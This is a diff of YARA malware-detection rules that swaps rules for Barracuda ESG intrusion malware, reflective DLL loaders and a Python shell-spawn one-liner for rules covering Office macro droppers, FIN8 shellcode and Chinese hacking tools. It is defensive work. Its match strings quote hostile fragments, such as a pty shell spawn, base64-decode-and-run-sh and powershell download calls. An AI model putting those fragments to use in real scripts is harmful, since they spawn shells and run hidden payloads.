-		description = "Detects SEASPY malware related LUA script"
-		author = "Florian Roth"
-		id = "a44861d0-107e-589b-8cf1-3fbc2f5c78dc"
-		date = "2023-06-16"
+		description = "Detects malicious macro / powershell in Office document"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ad573f52-dbda-5852-ad73-9ef47dd6e7df"
+		date = "2017-02-17"
 		modified = "2023-12-05"
-		reference = "https://blog.talosintelligence.com/alchimist-offensive-framework/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_barracuda_esg_unc4841_jun23.yar#L57-L74"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f78823a4ba9e025ba4833a2d5234c7baba33c1167c0247f13b8b2baa430aa4e5"
-		score = 90
+		reference = "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_magichound.yar#L33-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "198c6e7ab957d5c1bb45449b0b2210532e97ed11700f8435201200746e0dfa48"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "56e8066bf83ff6fe0cec92aede90f6722260e0a3f169fc163ed88589bffd7451"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "66d24a529308d8ab7b27ddd43a6c2db84107b831257efb664044ec4437f9487b"
+		hash2 = "e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6"
 
 	strings:
-		$x1 = "os.execute('rverify'..' /tmp/'..attachment:filename())" ascii fullword
-		$x2 = "log.debug(\"--- opening archive [%s], mimetype [%s]\", tmpfile" ascii fullword
-		$xe1 = "os.execute('rverify'..' /tmp/'..attachment:filename())" ascii base64
-		$xe2 = "log.debug(\"--- opening archive [%s], mimetype [%s]\", tmpfile" ascii base64
+		$s1 = "powershell.exe " fullword ascii
+		$s2 = "CommandButton1_Click" fullword ascii
+		$s3 = "URLDownloadToFile" fullword ascii
 
 	condition:
-		filesize <500KB and 1 of them
+		( uint16(0)==0xcfd0 and filesize <8000KB and all of them )
 }
-rule SIGNATURE_BASE_APT_HKTL_Proxy_Tool_Jun23_1 : FILE
+rule SIGNATURE_BASE_Shellcode_Apihashing_FIN8_1
 {
 	meta:
-		description = "Detects agent used as proxy tool in UNC4841 intrusions - possibly Alchemist C2 framework implant"
-		author = "Florian Roth"
-		id = "0e406737-3083-53c2-a6d2-14c07794125a"
-		date = "2023-06-16"
+		description = "Detects FIN8 Shellcode APIHashing"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "bca5601c-2998-545b-8dd0-ec3c861e6291"
+		date = "2021-03-16"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_barracuda_esg_unc4841_jun23.yar#L76-L101"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7e2152e1aa74e1842519e2eecd2acd3ef8eb8d517f3c0ef9f05c983616f223c3"
+		reference = "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin8.yar#L1-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5d47119a588aa69b3e241618d6dbb9df6117a6751bbff39a1f95340bc26611a7"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "ca72fa64ed0a9c22d341a557c6e7c1b6a7264b0c4de0b6f717dd44bddf550bca"
-		hash2 = "57e4b180fd559f15b59c43fb3335bd59435d4d76c4676e51a06c6b257ce67fb2"
+		tags = ""
 
 	strings:
-		$a2 = "/src/runtime/panic.go"
-		$s1 = "main.handleClientRequest" ascii fullword
-		$s2 = "main.sockIP.toAddr" ascii fullword
+		$APIHashing32bit1 = {81 F7 99 5D 52 69 81 F3 30 D7 00 AB}
+		$APIHashing32bit2 = {68 F2 55 03 88 68 65 19 6D 1E}
+		$APIHashing32bit3 = {68 9B 59 27 21 C1 E9 17 33 4C 24 10 68 37 5C 32 F4}
+		$APIHashing64bit1 = {49 BF 65 19 6D 1E F2 55 03 88 49 BE 37 5C 32 F4 9B 59 27 21}
+		$APIHashing64bit2 = {48 B8 99 5D 52 69 30 D7 00 AB}
 
 	condition:
-		( uint16(0)==0x5a4d or uint32be(0)==0x7f454c46 or uint16(0)==0xfeca or uint16(0)==0xfacf or uint32(0)==0xbebafeca or uint32(0)==0xbebafeca) and filesize <10MB and all of them
+		all of ($APIHashing32bit*) or all of ($APIHashing64bit*)
 }
-rule SIGNATURE_BASE_SUSP_Fscan_Port_Scanner_Output_Jun23 : SCRIPT FILE
+rule SIGNATURE_BASE_Mswin_Check_Lm_Group : FILE
 {
 	meta:
-		description = "Detects output generated by the command line port scanner FScan"
-		author = "Florian Roth"
-		id = "7eb4b27f-0c5b-5d7e-b759-95d7894d5822"
-		date = "2023-06-15"
-		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_barracuda_esg_unc4841_jun23.yar#L103-L117"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "49b5055c96d7b7446ee5ae8667a5aa3645f0f98d8b5f2bffcd6ef3b20bc64e05"
+		description = "Chinese Hacktool Set - file mswin_check_lm_group.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "be17981a-7cbf-55ac-bc81-9330472fc814"
+		date = "2015-06-13"
+		modified = "2021-03-15"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L9-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "115d87d7e7a3d08802a9e5fd6cd08e2ec633c367"
+		logic_hash = "74be6bd9c6e01cc4ec7785b6950c8cf6acf549c06990a9d1734f4a3487a04ba7"
 		score = 70
 		quality = 85
-		tags = "SCRIPT, FILE"
+		tags = "FILE"
 
 	strings:
-		$s1 = "[*] NetInfo:" ascii
-		$s2 = ":443 open" ascii
-		$s3 = "   [->]"
+		$s1 = "Valid_Global_Groups: checking group membership of '%s\\%s'." fullword ascii
+		$s2 = "Usage: %s [-D domain][-G][-P][-c][-d][-h]" fullword ascii
+		$s3 = "-D    default user Domain" fullword ascii
+		$fp1 = "Panda Security S.L." ascii wide
 
 	condition:
-		filesize <800KB and all of them
+		uint16(0)==0x5a4d and filesize <380KB and all of ($s*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_SUSP_PY_Shell_Spawn_Jun23_1 : SCRIPT
+rule SIGNATURE_BASE_WAF_Bypass : FILE
 {
 	meta:
-		description = "Detects suspicious one-liner to spawn a shell using Python"
-		author = "Florian Roth"
-		id = "15fd2c9a-c425-5d4d-9209-fd3826074d6c"
-		date = "2023-06-15"
+		description = "Chinese Hacktool Set - file WAF-Bypass.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d9f40934-873b-5e73-9198-987966027edc"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_barracuda_esg_unc4841_jun23.yar#L119-L131"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "63e94447930d5a00399de753076facbfb2bf18dd8c815f01aaefd14678aea034"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L30-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "860a9d7aac2ce3a40ac54a4a0bd442c6b945fa4e"
+		logic_hash = "e66d51b465e5d919555084d299a22f07a949a0a9adf4a3f246f6b5222d39b91a"
+		score = 75
 		quality = 85
-		tags = "SCRIPT"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "python -c import pty;pty.spawn(\"/bin/" ascii
+		$s1 = "Email: blacksplitn@gmail.com" fullword wide
+		$s2 = "User-Agent:" fullword wide
+		$s3 = "Send Failed.in RemoteThread" fullword ascii
+		$s4 = "www.example.com" fullword wide
+		$s5 = "Get Domain:%s IP Failed." fullword ascii
+		$s6 = "Connect To Server Failed." fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <7992KB and 5 of them
 }
-rule SIGNATURE_BASE_APT_MAL_Hunting_LUA_SEASIDE_1 : FILE
+rule SIGNATURE_BASE_Guilin_Veterans_Cookie_Spoofing_Tool : FILE
 {
 	meta:
-		description = "Hunting rule looking for strings observed in SEASIDE samples."
-		author = "Mandiant"
-		id = "86eaff7b-4ca0-53cd-8886-da66a36c778f"
-		date = "2023-06-15"
-		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_barracuda_esg_unc4841_jun23.yar#L136-L152"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cd2813f0260d63ad5adf0446253c2172"
-		logic_hash = "82b61325a78bf8ab09d426cfadceb614a256dfcafb2e1f75595de63593ed2574"
-		score = 70
+		description = "Chinese Hacktool Set - file Guilin veterans cookie spoofing tool.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "13f78e0b-c975-5879-9af1-8c619d6c94a9"
+		date = "2015-06-13"
+		modified = "2023-01-27"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L50-L67"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "06b1969bc35b2ee8d66f7ce8a2120d3016a00bb1"
+		logic_hash = "5fd136f44ebce28db4f77f2f8730eb67fc4c2d58921b73378b8d87e1444a4b67"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "function on_helo()"
-		$s2 = "local bindex,eindex = string.find(helo,'.onion')"
-		$s3 = "helosend = 'pd'..' '..helosend"
-		$s4 = "os.execute(helosend)"
+		$s0 = "kernel32.dll^G" fullword ascii
+		$s1 = "\\.Sus\"B" ascii
+		$s4 = "u56Load3" fullword ascii
+		$s11 = "O MYTMP(iM) VALUES (" ascii
 
 	condition:
-		filesize <1MB and all of ($s*)
+		uint16(0)==0x5a4d and filesize <1387KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_LNX_Hunting_Linux_WHIRLPOOL_1 : FILE
+rule SIGNATURE_BASE_Marathontool : FILE
 {
 	meta:
-		description = "Hunting rule looking for strings observed in WHIRLPOOL samples."
-		author = "Mandiant"
-		id = "a997bd65-c502-53a0-8bb8-62daaa916f0d"
-		date = "2023-06-15"
+		description = "Chinese Hacktool Set - file MarathonTool.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "23513361-ecac-5ddb-92b9-4dd8da12e8db"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_barracuda_esg_unc4841_jun23.yar#L154-L173"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "177add288b289d43236d2dba33e65956"
-		logic_hash = "d03c0e292b9b97bbf76585fc74208e4263d753807b8e4a445be80d41264d5432"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L69-L84"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "084a27cd3404554cc799d0e689f65880e10b59e3"
+		logic_hash = "2d52d640ef44d933791d1da0d1263dba15702180c730500e04d364dd6b4d6081"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "error -1 exit" fullword
-		$s2 = "create socket error: %s(error: %d)\n" fullword
-		$s3 = "connect error: %s(error: %d)\n" fullword
-		$s4 = {C7 00 20 32 3E 26 66 C7 40 04 31 00}
-		$c1 = "plain_connect" fullword
-		$c2 = "ssl_connect" fullword
-		$c3 = "SSLShell.c" fullword
+		$s0 = "MarathonTool" ascii
+		$s17 = "/Blind SQL injection tool based in heavy queries" fullword ascii
+		$s18 = "SELECT UNICODE(SUBSTRING((system_user),{0},1))" fullword wide
 
 	condition:
-		uint32(0)==0x464c457f and filesize <15MB and ( all of ($s*) or all of ($c*))
+		uint16(0)==0x5a4d and filesize <1040KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_LUA_Hunting_SKIPJACK_1
+rule SIGNATURE_BASE_PLUGIN_Trackid : FILE
 {
 	meta:
-		description = "Hunting rule looking for strings observed in SKIPJACK installation script."
-		author = "Mandiant"
-		id = "0026375c-7f37-5ef9-bd55-5b9fc499e5d2"
-		date = "2023-06-15"
+		description = "Chinese Hacktool Set - file TracKid.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8dd77df1-748e-5778-be40-38b794c74b97"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_barracuda_esg_unc4841_jun23.yar#L175-L193"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e4e86c273a2b67a605f5d4686783e0cc"
-		logic_hash = "8890cd9ab8190f12997e0653e43c89816df03c7bd41842e5ad21b1986819843e"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L86-L104"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a114181b334e850d4b33e9be2794f5bb0eb59a09"
+		logic_hash = "a62112dbf2ef696e4eb7f6787a0e0930c29d9834f46c87493954498fa4b375f6"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$str1 = "hdr:name() == 'Content-ID'" base64
-		$str2 = "hdr:body() ~= nil" base64
-		$str3 = "string.match(hdr:body(),\"^[%w%+/=\\r\\n]+$\")" base64
-		$str4 = "openssl aes-256-cbc" base64
-		$str5 = "mod_content.lua"
-		$str6 = "#!/bin/sh"
+		$s0 = "E-mail: cracker_prince@163.com" fullword ascii
+		$s1 = ".\\TracKid Log\\%s.txt" fullword ascii
+		$s2 = "Coded by prince" fullword ascii
+		$s3 = "TracKid.dll" fullword ascii
+		$s4 = ".\\TracKid Log" fullword ascii
+		$s5 = "%08x -- %s" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <200KB and 3 of them
 }
-rule SIGNATURE_BASE_APT_MAL_LUA_Hunting_Lua_SKIPJACK_2
+rule SIGNATURE_BASE_Pc_Pc2015 : FILE
 {
 	meta:
-		description = "Hunting rule looking for strings observed in SKIPJACK samples."
-		author = "Mandiant"
-		id = "e1eac294-fe60-5bb2-bae4-0f7bcbe6b1db"
-		date = "2023-06-15"
+		description = "Chinese Hacktool Set - file pc2015.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "aa7c0b5e-91c3-52cc-9e06-b4648d0b8825"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_barracuda_esg_unc4841_jun23.yar#L195-L212"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "87847445f9524671022d70f2a812728f"
-		logic_hash = "093e8857c410bd30a076f87ef63d7e1e66f50e3dce75b4add67161782386ee24"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L106-L121"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "de4f098611ac9eece91b079050b2d0b23afe0bcb"
+		logic_hash = "34d66d8b9e637c067ec2d9387b7b57458312d75892e33b95eb1095200799cf3b"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$str1 = "hdr:name() == 'Content-ID'"
-		$str2 = "hdr:body() ~= nil"
-		$str3 = "string.match(hdr:body(),\"^[%w%+/=\\r\\n]+$\")"
-		$str4 = "openssl aes-256-cbc"
-		$str5 = "| base64 -d| sh 2>"
+		$s0 = "\\svchost.exe" ascii
+		$s1 = "LON\\OD\\O-\\O)\\O%\\O!\\O=\\O9\\O5\\O1\\O" fullword ascii
+		$s8 = "%s%08x.001" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <309KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_LUA_Hunting_Lua_SEASPRAY_1
+rule SIGNATURE_BASE_Sekurlsa : FILE
 {
 	meta:
-		description = "Hunting rule looking for strings observed in SEASPRAY samples."
-		author = "Mandiant"
-		id = "8c744b85-b61e-56d0-8a9e-ae6a954e1b95"
-		date = "2023-06-15"
+		description = "Chinese Hacktool Set - file sekurlsa.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b65dc578-e5a1-57e6-bd98-2c45cd07e857"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_barracuda_esg_unc4841_jun23.yar#L213-L228"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "35cf6faf442d325961935f660e2ab5a0"
-		logic_hash = "856bfb47557b60f69aa1141477d6ce446ea13ebbe899022d7996ceef08bdefbb"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L123-L139"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
+		logic_hash = "dea05c7f19a834cc936c452ca2f6f4286e6c3dae002747c27913960199451c3f"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$str1 = "string.find(attachment:filename(),'obt075') ~= nil"
-		$str2 = "os.execute('cp '..tostring(tmpfile)..' /tmp/'..attachment:filename())"
-		$str3 = "os.execute('rverify'..' /tmp/'..attachment:filename())"
+		$s1 = "Bienvenue dans un processus distant" fullword wide
+		$s2 = "Format d'appel invalide : addLogonSession [idSecAppHigh] idSecAppLow Utilisateur" wide
+		$s3 = "SECURITY\\Policy\\Secrets" fullword wide
+		$s4 = "Injection de donn" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <1150KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Reflectiveloader : FILE
+rule SIGNATURE_BASE_Mysqlfast : FILE
 {
 	meta:
-		description = "Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended"
+		description = "Chinese Hacktool Set - file mysqlfast.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d8a601d7-b99a-59dc-bfc7-bf0e35b5d8bd"
-		date = "2017-07-17"
-		modified = "2021-03-15"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_loaders.yar#L14-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4d839674f8d8181b11af964a7c84a9eb8f07623500dd2695fca9ca3b15c247e2"
-		score = 70
+		id = "93ee91cd-a6b8-5ed9-b750-779f88032be6"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L141-L159"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "32b60350390fe7024af7b4b8fbf50f13306c546f"
+		logic_hash = "3ea75954831e705d0d25efa115288e66868d9b814f0990fd048bbe1209a8d933"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		nodeepdive = 1
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "ReflectiveLoader" fullword ascii
-		$x2 = "ReflectivLoader.dll" fullword ascii
-		$x3 = "?ReflectiveLoader@@" ascii
-		$x4 = "reflective_dll.x64.dll" fullword ascii
-		$x5 = "reflective_dll.dll" fullword ascii
-		$fp1 = "Sentinel Labs, Inc." wide
-		$fp2 = "Panda Security, S.L." wide ascii
+		$s2 = "Invalid password hash: %s" fullword ascii
+		$s3 = "-= MySql Hash Cracker =- " fullword ascii
+		$s4 = "Usage: %s hash" fullword ascii
+		$s5 = "Hash: %08lx%08lx" fullword ascii
+		$s6 = "Found pass: " fullword ascii
+		$s7 = "Pass not found" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) or pe.exports("ReflectiveLoader") or pe.exports("_ReflectiveLoader@4") or pe.exports("?ReflectiveLoader@@YGKPAX@Z")) and not 1 of ($fp*)
+		uint16(0)==0x5a4d and filesize <900KB and 4 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Reflective_DLL_Loader_Aug17_1 : FILE
+rule SIGNATURE_BASE_Dtools2_02_Dtools : FILE
 {
 	meta:
-		description = "Detects Reflective DLL Loader"
+		description = "Chinese Hacktool Set - file DTools.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9a2674f8-5fdb-5a4d-a2b9-41e874939616"
-		date = "2017-08-20"
+		id = "fc812797-12d8-596a-8ebe-dd8b0d7a4b7e"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_loaders.yar#L53-L76"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9ad012dda538d37242c92c6ed16a0fb1cd9252a2884387f8e7d9c80b041c8fea"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L161-L179"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9f99771427120d09ec7afa3b21a1cb9ed720af12"
+		logic_hash = "51e30d39f388546ac233b4b97a38f225c90d2f006bc509dd7eecfb408aef9be5"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f2f85855914345eec629e6fc5333cf325a620531d1441313292924a88564e320"
 
 	strings:
-		$x1 = "\\Release\\reflective_dll.pdb" ascii
-		$x2 = "reflective_dll.x64.dll" fullword ascii
-		$s3 = "DLL Injection" fullword ascii
-		$s4 = "?ReflectiveLoader@@YA_KPEAX@Z" fullword ascii
+		$s0 = "kernel32.dll" ascii
+		$s1 = "TSETPASSWORDFORM" fullword wide
+		$s2 = "TGETNTUSERNAMEFORM" fullword wide
+		$s3 = "TPORTFORM" fullword wide
+		$s4 = "ShellFold" fullword ascii
+		$s5 = "DefaultPHotLigh" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="4bf489ae7d1e6575f5bb81ae4d10862f" or pe.exports("?ReflectiveLoader@@YA_KPEAX@Z") or (1 of ($x*) or 2 of them ))) or (2 of them )
+		uint16(0)==0x5a4d and filesize <2000KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_DLL_Injector_Lynx : FILE
+rule SIGNATURE_BASE_Dll_Packetx : FILE
 {
 	meta:
-		description = "Detects Lynx DLL Injector"
+		description = "Chinese Hacktool Set - file PacketX.dll - ActiveX wrapper for WinPcap packet capture library"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7a4c9949-c701-5ae2-a8b1-3ef0b08c1c04"
-		date = "2017-08-20"
+		id = "19ab5977-934d-5e3f-8bba-925bb57bf486"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_loaders.yar#L78-L100"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1904b152c42126abd87671747dc2733e2a5e2a01ab55346c131fb430fe5ba58e"
-		score = 75
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L181-L196"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3f0908e0a38512d2a4fb05a824aa0f6cf3ba3b71"
+		logic_hash = "161d174376c599b1b794fa1174349ae12b198842d89769baec4b9664729a3983"
+		score = 50
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d594f60e766e0c3261a599b385e3f686b159a992d19fa624fad8761776efa4f0"
 
 	strings:
-		$x1 = " -p <TARGET PROCESS NAME> | -u <DLL PAYLOAD> [--obfuscate]" fullword wide
-		$x2 = "You've selected to inject into process: %s" fullword wide
-		$x3 = "Lynx DLL Injector" fullword wide
-		$x4 = "Reflective DLL Injector" fullword wide
-		$x5 = "Failed write payload: %lu" fullword wide
-		$x6 = "Failed to start payload: %lu" fullword wide
-		$x7 = "Injecting payload..." fullword wide
+		$s9 = "[Failed to load winpcap packet.dll." wide
+		$s10 = "PacketX Version" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <800KB and 1 of them ) or (3 of them )
+		uint16(0)==0x5a4d and filesize <1920KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Reflective_DLL_Loader_Aug17_2 : FILE
+rule SIGNATURE_BASE_Sqldbx_Zhs : FILE
 {
 	meta:
-		description = "Detects Reflective DLL Loader - suspicious - Possible FP could be program crack"
+		description = "Chinese Hacktool Set - file SqlDbx_zhs.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5948d9ba-e655-5b11-ad74-f650b3a753e7"
-		date = "2017-08-20"
